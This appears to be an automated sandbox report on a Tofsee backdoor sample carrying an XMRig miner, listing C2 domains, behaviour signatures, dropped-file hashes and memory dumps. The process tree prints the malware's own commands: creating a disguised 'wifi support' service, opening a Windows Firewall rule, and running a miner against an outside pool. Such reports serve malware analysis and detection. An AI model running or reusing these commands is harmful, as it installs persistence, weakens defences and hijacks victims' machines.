Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    17/12/2022, 02:45

General

  • Target
    file.exe
  • Size 214KB
  • Sample221217-c8qq2aga93
  • SHA256 913ea8e0690687ceeb36e7472e2e98c58774a48bf01fb2e6d806e7cde2a37678
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1212
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bfshgqes\
      2⤵
        PID:1668
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gmetyri.exe" C:\Windows\SysWOW64\bfshgqes\
        2⤵
          PID:1696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bfshgqes binPath= "C:\Windows\SysWOW64\bfshgqes\gmetyri.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bfshgqes "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bfshgqes
          2⤵
          • Launches sc.exe
          PID:276
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:592
      • C:\Windows\SysWOW64\bfshgqes\gmetyri.exe
        C:\Windows\SysWOW64\bfshgqes\gmetyri.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:468
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1832
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1264

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            gmetyri.exe

            • Path C:\Users\Admin\AppData\Local\Temp\gmetyri.exe
            • Size 12.7MB
            • SHA256 cc8202b5ce646419b992a95592a5022beb4840e0e15eaa2e5139fbd85dce8e7f
            • MD5 SHA1 SHA512 SSDEEP

            gmetyri.exe

            • Path C:\Windows\SysWOW64\bfshgqes\gmetyri.exe
            • Size 12.7MB
            • SHA256 cc8202b5ce646419b992a95592a5022beb4840e0e15eaa2e5139fbd85dce8e7f
            • MD5 SHA1 SHA512 SSDEEP

            memory/468-69-0x0000000000308000-0x0000000000319000-memory.dmp

            memory/468-78-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/468-76-0x0000000000308000-0x0000000000319000-memory.dmp

            memory/1212-54-0x0000000000538000-0x0000000000549000-memory.dmp

            memory/1212-68-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/1212-59-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/1212-58-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1212-55-0x0000000076711000-0x0000000076713000-memory.dmp

            memory/1212-57-0x0000000000538000-0x0000000000549000-memory.dmp

            memory/1212-67-0x0000000000538000-0x0000000000549000-memory.dmp

            memory/1264-100-0x00000000000B0000-0x00000000001A1000-memory.dmp

            memory/1264-102-0x00000000000B0000-0x00000000001A1000-memory.dmp

            memory/1832-72-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/1832-82-0x0000000001940000-0x0000000001B4F000-memory.dmp

            memory/1832-85-0x00000000000F0000-0x00000000000F6000-memory.dmp

            memory/1832-88-0x0000000000430000-0x0000000000440000-memory.dmp

            memory/1832-91-0x0000000000480000-0x0000000000485000-memory.dmp

            memory/1832-94-0x00000000055C0000-0x00000000059CB000-memory.dmp

            memory/1832-97-0x0000000000740000-0x0000000000747000-memory.dmp

            memory/1832-81-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/1832-74-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/1832-109-0x00000000000D0000-0x00000000000E5000-memory.dmp